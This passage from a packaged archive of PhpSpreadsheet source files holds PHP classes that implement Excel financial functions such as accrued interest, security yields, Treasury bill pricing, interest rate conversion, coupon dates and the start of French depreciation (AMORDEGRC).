PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel\YearFrac; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Constants as FinancialConstants; use PhpOffice\PhpSpreadsheet\Calculation\Functions; class AccruedInterest { public const ACCRINT_CALCMODE_ISSUE_TO_SETTLEMENT = true; public const ACCRINT_CALCMODE_FIRST_INTEREST_TO_SETTLEMENT = false; /** * ACCRINT. * * Returns the accrued interest for a security that pays periodic interest. * * Excel Function: * ACCRINT(issue,firstinterest,settlement,rate,par,frequency[,basis][,calc_method]) * * @param mixed $issue the security's issue date * @param mixed $firstInterest the security's first interest date * @param mixed $settlement The security's settlement date. * The security settlement date is the date after the issue date * when the security is traded to the buyer. * @param mixed $rate The security's annual coupon rate * @param mixed $parValue The security's par value. * If you omit par, ACCRINT uses $1,000. * @param mixed $frequency The number of coupon payments per year. * Valid frequency values are: * 1 Annual * 2 Semi-Annual * 4 Quarterly * @param mixed $basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @param mixed $calcMethod Unused by PhpSpreadsheet, and apparently by Excel (https://exceljet.net/functions/accrint-function) * * @return float|string Result, or a string containing an error */ public static function periodic( mixed $issue, mixed $firstInterest, mixed $settlement, mixed $rate, mixed $parValue = 1000, mixed $frequency = FinancialConstants::FREQUENCY_ANNUAL, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD, mixed $calcMethod = self::ACCRINT_CALCMODE_ISSUE_TO_SETTLEMENT ) { $issue = Functions::flattenSingleValue($issue); $firstInterest = Functions::flattenSingleValue($firstInterest); $settlement = Functions::flattenSingleValue($settlement); $rate = Functions::flattenSingleValue($rate); $parValue = ($parValue === null) ? 1000 : Functions::flattenSingleValue($parValue); $frequency = ($frequency === null) ? FinancialConstants::FREQUENCY_ANNUAL : Functions::flattenSingleValue($frequency); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $issue = SecurityValidations::validateIssueDate($issue); $settlement = SecurityValidations::validateSettlementDate($settlement); SecurityValidations::validateSecurityPeriod($issue, $settlement); $rate = SecurityValidations::validateRate($rate); $parValue = SecurityValidations::validateParValue($parValue); SecurityValidations::validateFrequency($frequency); $basis = SecurityValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } $daysBetweenIssueAndSettlement = Functions::scalar(YearFrac::fraction($issue, $settlement, $basis)); if (!is_numeric($daysBetweenIssueAndSettlement)) { // return date error return $daysBetweenIssueAndSettlement; } $daysBetweenFirstInterestAndSettlement = Functions::scalar(YearFrac::fraction($firstInterest, $settlement, $basis)); if (!is_numeric($daysBetweenFirstInterestAndSettlement)) { // return date error return $daysBetweenFirstInterestAndSettlement; } return $parValue * $rate * $daysBetweenIssueAndSettlement; } /** * ACCRINTM. * * Returns the accrued interest for a security that pays interest at maturity. * * Excel Function: * ACCRINTM(issue,settlement,rate[,par[,basis]]) * * @param mixed $issue The security's issue date * @param mixed $settlement The security's settlement (or maturity) date * @param mixed $rate The security's annual coupon rate * @param mixed $parValue The security's par value. * If you omit parValue, ACCRINT uses $1,000. * @param mixed $basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * * @return float|string Result, or a string containing an error */ public static function atMaturity( mixed $issue, mixed $settlement, mixed $rate, mixed $parValue = 1000, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ) { $issue = Functions::flattenSingleValue($issue); $settlement = Functions::flattenSingleValue($settlement); $rate = Functions::flattenSingleValue($rate); $parValue = ($parValue === null) ? 1000 : Functions::flattenSingleValue($parValue); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $issue = SecurityValidations::validateIssueDate($issue); $settlement = SecurityValidations::validateSettlementDate($settlement); SecurityValidations::validateSecurityPeriod($issue, $settlement); $rate = SecurityValidations::validateRate($rate); $parValue = SecurityValidations::validateParValue($parValue); $basis = SecurityValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } $daysBetweenIssueAndSettlement = Functions::scalar(YearFrac::fraction($issue, $settlement, $basis)); if (!is_numeric($daysBetweenIssueAndSettlement)) { // return date error return $daysBetweenIssueAndSettlement; } return $parValue * $rate * $daysBetweenIssueAndSettlement; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/Securities/Yields.php000064400000016177151676714400025466 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial\Securities; use PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Constants as FinancialConstants; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Helpers; use PhpOffice\PhpSpreadsheet\Calculation\Functions; class Yields { /** * YIELDDISC. * * Returns the annual yield of a security that pays interest at maturity. * * @param mixed $settlement The security's settlement date. * The security's settlement date is the date after the issue date when the security * is traded to the buyer. * @param mixed $maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed $price The security's price per $100 face value * @param mixed $redemption The security's redemption value per $100 face value * @param mixed $basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * * @return float|string Result, or a string containing an error */ public static function yieldDiscounted( mixed $settlement, mixed $maturity, mixed $price, mixed $redemption, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ) { $settlement = Functions::flattenSingleValue($settlement); $maturity = Functions::flattenSingleValue($maturity); $price = Functions::flattenSingleValue($price); $redemption = Functions::flattenSingleValue($redemption); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $settlement = SecurityValidations::validateSettlementDate($settlement); $maturity = SecurityValidations::validateMaturityDate($maturity); SecurityValidations::validateSecurityPeriod($settlement, $maturity); $price = SecurityValidations::validatePrice($price); $redemption = SecurityValidations::validateRedemption($redemption); $basis = SecurityValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } $daysPerYear = Helpers::daysPerYear(Functions::scalar(DateTimeExcel\DateParts::year($settlement)), $basis); if (!is_numeric($daysPerYear)) { return $daysPerYear; } $daysBetweenSettlementAndMaturity = Functions::scalar(DateTimeExcel\YearFrac::fraction($settlement, $maturity, $basis)); if (!is_numeric($daysBetweenSettlementAndMaturity)) { // return date error return $daysBetweenSettlementAndMaturity; } $daysBetweenSettlementAndMaturity *= $daysPerYear; return (($redemption - $price) / $price) * ($daysPerYear / $daysBetweenSettlementAndMaturity); } /** * YIELDMAT. * * Returns the annual yield of a security that pays interest at maturity. * * @param mixed $settlement The security's settlement date. * The security's settlement date is the date after the issue date when the security * is traded to the buyer. * @param mixed $maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed $issue The security's issue date * @param mixed $rate The security's interest rate at date of issue * @param mixed $price The security's price per $100 face value * @param mixed $basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * * @return float|string Result, or a string containing an error */ public static function yieldAtMaturity( mixed $settlement, mixed $maturity, mixed $issue, mixed $rate, mixed $price, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ) { $settlement = Functions::flattenSingleValue($settlement); $maturity = Functions::flattenSingleValue($maturity); $issue = Functions::flattenSingleValue($issue); $rate = Functions::flattenSingleValue($rate); $price = Functions::flattenSingleValue($price); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $settlement = SecurityValidations::validateSettlementDate($settlement); $maturity = SecurityValidations::validateMaturityDate($maturity); SecurityValidations::validateSecurityPeriod($settlement, $maturity); $issue = SecurityValidations::validateIssueDate($issue); $rate = SecurityValidations::validateRate($rate); $price = SecurityValidations::validatePrice($price); $basis = SecurityValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } $daysPerYear = Helpers::daysPerYear(Functions::scalar(DateTimeExcel\DateParts::year($settlement)), $basis); if (!is_numeric($daysPerYear)) { return $daysPerYear; } $daysBetweenIssueAndSettlement = Functions::scalar(DateTimeExcel\YearFrac::fraction($issue, $settlement, $basis)); if (!is_numeric($daysBetweenIssueAndSettlement)) { // return date error return $daysBetweenIssueAndSettlement; } $daysBetweenIssueAndSettlement *= $daysPerYear; $daysBetweenIssueAndMaturity = Functions::scalar(DateTimeExcel\YearFrac::fraction($issue, $maturity, $basis)); if (!is_numeric($daysBetweenIssueAndMaturity)) { // return date error return $daysBetweenIssueAndMaturity; } $daysBetweenIssueAndMaturity *= $daysPerYear; $daysBetweenSettlementAndMaturity = Functions::scalar(DateTimeExcel\YearFrac::fraction($settlement, $maturity, $basis)); if (!is_numeric($daysBetweenSettlementAndMaturity)) { // return date error return $daysBetweenSettlementAndMaturity; } $daysBetweenSettlementAndMaturity *= $daysPerYear; return ((1 + (($daysBetweenIssueAndMaturity / $daysPerYear) * $rate) - (($price / 100) + (($daysBetweenIssueAndSettlement / $daysPerYear) * $rate))) / (($price / 100) + (($daysBetweenIssueAndSettlement / $daysPerYear) * $rate))) * ($daysPerYear / $daysBetweenSettlementAndMaturity); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/TreasuryBill.php000064400000013602151676714400024525 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial; use PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Constants as FinancialConstants; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class TreasuryBill { /** * TBILLEQ. * * Returns the bond-equivalent yield for a Treasury bill. * * @param mixed $settlement The Treasury bill's settlement date. * The Treasury bill's settlement date is the date after the issue date * when the Treasury bill is traded to the buyer. * @param mixed $maturity The Treasury bill's maturity date. * The maturity date is the date when the Treasury bill expires. * @param mixed $discount The Treasury bill's discount rate * * @return float|string Result, or a string containing an error */ public static function bondEquivalentYield(mixed $settlement, mixed $maturity, mixed $discount): string|float { $settlement = Functions::flattenSingleValue($settlement); $maturity = Functions::flattenSingleValue($maturity); $discount = Functions::flattenSingleValue($discount); try { $settlement = FinancialValidations::validateSettlementDate($settlement); $maturity = FinancialValidations::validateMaturityDate($maturity); $discount = FinancialValidations::validateFloat($discount); } catch (Exception $e) { return $e->getMessage(); } if ($discount <= 0) { return ExcelError::NAN(); } $daysBetweenSettlementAndMaturity = $maturity - $settlement; $daysPerYear = Helpers::daysPerYear( Functions::scalar(DateTimeExcel\DateParts::year($maturity)), FinancialConstants::BASIS_DAYS_PER_YEAR_ACTUAL ); if ($daysBetweenSettlementAndMaturity > $daysPerYear || $daysBetweenSettlementAndMaturity < 0) { return ExcelError::NAN(); } return (365 * $discount) / (360 - $discount * $daysBetweenSettlementAndMaturity); } /** * TBILLPRICE. * * Returns the price per $100 face value for a Treasury bill. * * @param mixed $settlement The Treasury bill's settlement date. * The Treasury bill's settlement date is the date after the issue date * when the Treasury bill is traded to the buyer. * @param mixed $maturity The Treasury bill's maturity date. * The maturity date is the date when the Treasury bill expires. * @param mixed $discount The Treasury bill's discount rate * * @return float|string Result, or a string containing an error */ public static function price(mixed $settlement, mixed $maturity, mixed $discount): string|float { $settlement = Functions::flattenSingleValue($settlement); $maturity = Functions::flattenSingleValue($maturity); $discount = Functions::flattenSingleValue($discount); try { $settlement = FinancialValidations::validateSettlementDate($settlement); $maturity = FinancialValidations::validateMaturityDate($maturity); $discount = FinancialValidations::validateFloat($discount); } catch (Exception $e) { return $e->getMessage(); } if ($discount <= 0) { return ExcelError::NAN(); } $daysBetweenSettlementAndMaturity = $maturity - $settlement; $daysPerYear = Helpers::daysPerYear( Functions::scalar(DateTimeExcel\DateParts::year($maturity)), FinancialConstants::BASIS_DAYS_PER_YEAR_ACTUAL ); if ($daysBetweenSettlementAndMaturity > $daysPerYear || $daysBetweenSettlementAndMaturity < 0) { return ExcelError::NAN(); } $price = 100 * (1 - (($discount * $daysBetweenSettlementAndMaturity) / 360)); if ($price < 0.0) { return ExcelError::NAN(); } return $price; } /** * TBILLYIELD. * * Returns the yield for a Treasury bill. * * @param mixed $settlement The Treasury bill's settlement date. * The Treasury bill's settlement date is the date after the issue date when * the Treasury bill is traded to the buyer. * @param mixed $maturity The Treasury bill's maturity date. * The maturity date is the date when the Treasury bill expires. * @param float|string $price The Treasury bill's price per $100 face value */ public static function yield(mixed $settlement, mixed $maturity, $price): string|float { $settlement = Functions::flattenSingleValue($settlement); $maturity = Functions::flattenSingleValue($maturity); $price = Functions::flattenSingleValue($price); try { $settlement = FinancialValidations::validateSettlementDate($settlement); $maturity = FinancialValidations::validateMaturityDate($maturity); $price = FinancialValidations::validatePrice($price); } catch (Exception $e) { return $e->getMessage(); } $daysBetweenSettlementAndMaturity = $maturity - $settlement; $daysPerYear = Helpers::daysPerYear( Functions::scalar(DateTimeExcel\DateParts::year($maturity)), FinancialConstants::BASIS_DAYS_PER_YEAR_ACTUAL ); if ($daysBetweenSettlementAndMaturity > $daysPerYear || $daysBetweenSettlementAndMaturity < 0) { return ExcelError::NAN(); } return ((100 - $price) / $price) * (360 / $daysBetweenSettlementAndMaturity); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/InterestRate.php000064400000004652151676714400024522 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class InterestRate { /** * EFFECT. * * Returns the effective interest rate given the nominal rate and the number of * compounding payments per year. * * Excel Function: * EFFECT(nominal_rate,npery) * * @param mixed $nominalRate Nominal interest rate as a float * @param mixed $periodsPerYear Integer number of compounding payments per year */ public static function effective(mixed $nominalRate = 0, mixed $periodsPerYear = 0): string|float { $nominalRate = Functions::flattenSingleValue($nominalRate); $periodsPerYear = Functions::flattenSingleValue($periodsPerYear); try { $nominalRate = FinancialValidations::validateFloat($nominalRate); $periodsPerYear = FinancialValidations::validateInt($periodsPerYear); } catch (Exception $e) { return $e->getMessage(); } if ($nominalRate <= 0 || $periodsPerYear < 1) { return ExcelError::NAN(); } return ((1 + $nominalRate / $periodsPerYear) ** $periodsPerYear) - 1; } /** * NOMINAL. * * Returns the nominal interest rate given the effective rate and the number of compounding payments per year. * * @param mixed $effectiveRate Effective interest rate as a float * @param mixed $periodsPerYear Integer number of compounding payments per year * * @return float|string Result, or a string containing an error */ public static function nominal(mixed $effectiveRate = 0, mixed $periodsPerYear = 0): string|float { $effectiveRate = Functions::flattenSingleValue($effectiveRate); $periodsPerYear = Functions::flattenSingleValue($periodsPerYear); try { $effectiveRate = FinancialValidations::validateFloat($effectiveRate); $periodsPerYear = FinancialValidations::validateInt($periodsPerYear); } catch (Exception $e) { return $e->getMessage(); } if ($effectiveRate <= 0 || $periodsPerYear < 1) { return ExcelError::NAN(); } // Calculate return $periodsPerYear * (($effectiveRate + 1) ** (1 / $periodsPerYear) - 1); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/Coupons.php000064400000044052151676714400023535 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial; use DateTime; use PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Constants as FinancialConstants; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Shared\Date; class Coupons { private const PERIOD_DATE_PREVIOUS = false; private const PERIOD_DATE_NEXT = true; /** * COUPDAYBS. * * Returns the number of days from the beginning of the coupon period to the settlement date. * * Excel Function: * COUPDAYBS(settlement,maturity,frequency[,basis]) * * @param mixed $settlement The security's settlement date. * The security settlement date is the date after the issue * date when the security is traded to the buyer. * @param mixed $maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed $frequency The number of coupon payments per year (int). * Valid frequency values are: * 1 Annual * 2 Semi-Annual * 4 Quarterly * @param mixed $basis The type of day count to use (int). * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 */ public static function COUPDAYBS( mixed $settlement, mixed $maturity, mixed $frequency, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ): string|int|float { $settlement = Functions::flattenSingleValue($settlement); $maturity = Functions::flattenSingleValue($maturity); $frequency = Functions::flattenSingleValue($frequency); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $settlement = FinancialValidations::validateSettlementDate($settlement); $maturity = FinancialValidations::validateMaturityDate($maturity); self::validateCouponPeriod($settlement, $maturity); $frequency = FinancialValidations::validateFrequency($frequency); $basis = FinancialValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } $daysPerYear = Helpers::daysPerYear(Functions::scalar(DateTimeExcel\DateParts::year($settlement)), $basis); if (is_string($daysPerYear)) { return ExcelError::VALUE(); } $prev = self::couponFirstPeriodDate($settlement, $maturity, $frequency, self::PERIOD_DATE_PREVIOUS); if ($basis === FinancialConstants::BASIS_DAYS_PER_YEAR_ACTUAL) { return abs((float) DateTimeExcel\Days::between($prev, $settlement)); } return (float) DateTimeExcel\YearFrac::fraction($prev, $settlement, $basis) * $daysPerYear; } /** * COUPDAYS. * * Returns the number of days in the coupon period that contains the settlement date. * * Excel Function: * COUPDAYS(settlement,maturity,frequency[,basis]) * * @param mixed $settlement The security's settlement date. * The security settlement date is the date after the issue * date when the security is traded to the buyer. * @param mixed $maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed $frequency The number of coupon payments per year. * Valid frequency values are: * 1 Annual * 2 Semi-Annual * 4 Quarterly * @param mixed $basis The type of day count to use (int). * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 */ public static function COUPDAYS( mixed $settlement, mixed $maturity, mixed $frequency, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ): string|int|float { $settlement = Functions::flattenSingleValue($settlement); $maturity = Functions::flattenSingleValue($maturity); $frequency = Functions::flattenSingleValue($frequency); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $settlement = FinancialValidations::validateSettlementDate($settlement); $maturity = FinancialValidations::validateMaturityDate($maturity); self::validateCouponPeriod($settlement, $maturity); $frequency = FinancialValidations::validateFrequency($frequency); $basis = FinancialValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } switch ($basis) { case FinancialConstants::BASIS_DAYS_PER_YEAR_365: // Actual/365 return 365 / $frequency; case FinancialConstants::BASIS_DAYS_PER_YEAR_ACTUAL: // Actual/actual if ($frequency == FinancialConstants::FREQUENCY_ANNUAL) { $daysPerYear = (int) Helpers::daysPerYear(Functions::scalar(DateTimeExcel\DateParts::year($settlement)), $basis); return $daysPerYear / $frequency; } $prev = self::couponFirstPeriodDate($settlement, $maturity, $frequency, self::PERIOD_DATE_PREVIOUS); $next = self::couponFirstPeriodDate($settlement, $maturity, $frequency, self::PERIOD_DATE_NEXT); return $next - $prev; default: // US (NASD) 30/360, Actual/360 or European 30/360 return 360 / $frequency; } } /** * COUPDAYSNC. * * Returns the number of days from the settlement date to the next coupon date. * * Excel Function: * COUPDAYSNC(settlement,maturity,frequency[,basis]) * * @param mixed $settlement The security's settlement date. * The security settlement date is the date after the issue * date when the security is traded to the buyer. * @param mixed $maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed $frequency The number of coupon payments per year. * Valid frequency values are: * 1 Annual * 2 Semi-Annual * 4 Quarterly * @param mixed $basis The type of day count to use (int) . * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 */ public static function COUPDAYSNC( mixed $settlement, mixed $maturity, mixed $frequency, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ): string|float { $settlement = Functions::flattenSingleValue($settlement); $maturity = Functions::flattenSingleValue($maturity); $frequency = Functions::flattenSingleValue($frequency); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $settlement = FinancialValidations::validateSettlementDate($settlement); $maturity = FinancialValidations::validateMaturityDate($maturity); self::validateCouponPeriod($settlement, $maturity); $frequency = FinancialValidations::validateFrequency($frequency); $basis = FinancialValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } /** @var int $daysPerYear */ $daysPerYear = Helpers::daysPerYear(Functions::Scalar(DateTimeExcel\DateParts::year($settlement)), $basis); $next = self::couponFirstPeriodDate($settlement, $maturity, $frequency, self::PERIOD_DATE_NEXT); if ($basis === FinancialConstants::BASIS_DAYS_PER_YEAR_NASD) { $settlementDate = Date::excelToDateTimeObject($settlement); $settlementEoM = Helpers::isLastDayOfMonth($settlementDate); if ($settlementEoM) { ++$settlement; } } return (float) DateTimeExcel\YearFrac::fraction($settlement, $next, $basis) * $daysPerYear; } /** * COUPNCD. * * Returns the next coupon date after the settlement date. * * Excel Function: * COUPNCD(settlement,maturity,frequency[,basis]) * * @param mixed $settlement The security's settlement date. * The security settlement date is the date after the issue * date when the security is traded to the buyer. * @param mixed $maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed $frequency The number of coupon payments per year. * Valid frequency values are: * 1 Annual * 2 Semi-Annual * 4 Quarterly * @param mixed $basis The type of day count to use (int). * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * * @return float|string Excel date/time serial value or error message */ public static function COUPNCD( mixed $settlement, mixed $maturity, mixed $frequency, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ): string|float { $settlement = Functions::flattenSingleValue($settlement); $maturity = Functions::flattenSingleValue($maturity); $frequency = Functions::flattenSingleValue($frequency); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $settlement = FinancialValidations::validateSettlementDate($settlement); $maturity = FinancialValidations::validateMaturityDate($maturity); self::validateCouponPeriod($settlement, $maturity); $frequency = FinancialValidations::validateFrequency($frequency); FinancialValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } return self::couponFirstPeriodDate($settlement, $maturity, $frequency, self::PERIOD_DATE_NEXT); } /** * COUPNUM. * * Returns the number of coupons payable between the settlement date and maturity date, * rounded up to the nearest whole coupon. * * Excel Function: * COUPNUM(settlement,maturity,frequency[,basis]) * * @param mixed $settlement The security's settlement date. * The security settlement date is the date after the issue * date when the security is traded to the buyer. * @param mixed $maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed $frequency The number of coupon payments per year. * Valid frequency values are: * 1 Annual * 2 Semi-Annual * 4 Quarterly * @param mixed $basis The type of day count to use (int). * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 */ public static function COUPNUM( mixed $settlement, mixed $maturity, mixed $frequency, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ): string|int { $settlement = Functions::flattenSingleValue($settlement); $maturity = Functions::flattenSingleValue($maturity); $frequency = Functions::flattenSingleValue($frequency); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $settlement = FinancialValidations::validateSettlementDate($settlement); $maturity = FinancialValidations::validateMaturityDate($maturity); self::validateCouponPeriod($settlement, $maturity); $frequency = FinancialValidations::validateFrequency($frequency); FinancialValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } $yearsBetweenSettlementAndMaturity = DateTimeExcel\YearFrac::fraction( $settlement, $maturity, FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ); return (int) ceil((float) $yearsBetweenSettlementAndMaturity * $frequency); } /** * COUPPCD. * * Returns the previous coupon date before the settlement date. * * Excel Function: * COUPPCD(settlement,maturity,frequency[,basis]) * * @param mixed $settlement The security's settlement date. * The security settlement date is the date after the issue * date when the security is traded to the buyer. * @param mixed $maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed $frequency The number of coupon payments per year. * Valid frequency values are: * 1 Annual * 2 Semi-Annual * 4 Quarterly * @param mixed $basis The type of day count to use (int). * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * * @return float|string Excel date/time serial value or error message */ public static function COUPPCD( mixed $settlement, mixed $maturity, mixed $frequency, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ): string|float { $settlement = Functions::flattenSingleValue($settlement); $maturity = Functions::flattenSingleValue($maturity); $frequency = Functions::flattenSingleValue($frequency); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $settlement = FinancialValidations::validateSettlementDate($settlement); $maturity = FinancialValidations::validateMaturityDate($maturity); self::validateCouponPeriod($settlement, $maturity); $frequency = FinancialValidations::validateFrequency($frequency); FinancialValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } return self::couponFirstPeriodDate($settlement, $maturity, $frequency, self::PERIOD_DATE_PREVIOUS); } private static function monthsDiff(DateTime $result, int $months, string $plusOrMinus, int $day, bool $lastDayFlag): void { $result->setDate((int) $result->format('Y'), (int) $result->format('m'), 1); $result->modify("$plusOrMinus $months months"); $daysInMonth = (int) $result->format('t'); $result->setDate((int) $result->format('Y'), (int) $result->format('m'), $lastDayFlag ? $daysInMonth : min($day, $daysInMonth)); } private static function couponFirstPeriodDate(float $settlement, float $maturity, int $frequency, bool $next): float { $months = 12 / $frequency; $result = Date::excelToDateTimeObject($maturity); $day = (int) $result->format('d'); $lastDayFlag = Helpers::isLastDayOfMonth($result); while ($settlement < Date::PHPToExcel($result)) { self::monthsDiff($result, $months, '-', $day, $lastDayFlag); } if ($next === true) { self::monthsDiff($result, $months, '+', $day, $lastDayFlag); } return (float) Date::PHPToExcel($result); } private static function validateCouponPeriod(float $settlement, float $maturity): void { if ($settlement >= $maturity) { throw new Exception(ExcelError::NAN()); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/Amortization.php000064400000020745151676714400024572 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial; use PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Constants as FinancialConstants; use PhpOffice\PhpSpreadsheet\Calculation\Functions; class Amortization { private const ROUNDING_ADJUSTMENT = (PHP_VERSION_ID < 80400) ? 0 : 1e-14; /** * AMORDEGRC. * * Returns the depreciation for each accounting period. * This function is provided for the French accounting system. If an asset is purchased in * the middle of the accounting period, the prorated depreciation is taken into account. * The function is similar to AMORLINC, except that a depreciation coefficient is applied in * the calculation depending on the life of the assets. * This function will return the depreciation until the last period of the life of the assets * or until the cumulated value of depreciation is greater than the cost of the assets minus * the salvage value. * * Excel Function: * AMORDEGRC(cost,purchased,firstPeriod,salvage,period,rate[,basis]) * * @param mixed $cost The float cost of the asset * @param mixed $purchased Date of the purchase of the asset * @param mixed $firstPeriod Date of the end of the first period * @param mixed $salvage The salvage value at the end of the life of the asset * @param mixed $period the period (float) * @param mixed $rate rate of depreciation (float) * @param mixed $basis The type of day count to use (int). * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * * @return float|string (string containing the error type if there is an error) */ public static function AMORDEGRC( mixed $cost, mixed $purchased, mixed $firstPeriod, mixed $salvage, mixed $period, mixed $rate, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ): string|float { $cost = Functions::flattenSingleValue($cost); $purchased = Functions::flattenSingleValue($purchased); $firstPeriod = Functions::flattenSingleValue($firstPeriod); $salvage = Functions::flattenSingleValue($salvage); $period = Functions::flattenSingleValue($period); $rate = Functions::flattenSingleValue($rate); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $cost = FinancialValidations::validateFloat($cost); $purchased = FinancialValidations::validateDate($purchased); $firstPeriod = FinancialValidations::validateDate($firstPeriod); $salvage = FinancialValidations::validateFloat($salvage); $period = FinancialValidations::validateInt($period); $rate = FinancialValidations::validateFloat($rate); $basis = FinancialValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } $yearFracx = DateTimeExcel\YearFrac::fraction($purchased, $firstPeriod, $basis); if (is_string($yearFracx)) { return $yearFracx; } /** @var float $yearFrac */ $yearFrac = $yearFracx; $amortiseCoeff = self::getAmortizationCoefficient($rate); $rate *= $amortiseCoeff; $rate += self::ROUNDING_ADJUSTMENT; $fNRate = round($yearFrac * $rate * $cost, 0); $cost -= $fNRate; $fRest = $cost - $salvage; for ($n = 0; $n < $period; ++$n) { $fNRate = round($rate * $cost, 0); $fRest -= $fNRate; if ($fRest < 0.0) { return match ($period - $n) { 1 => round($cost * 0.5, 0), default => 0.0, }; } $cost -= $fNRate; } return 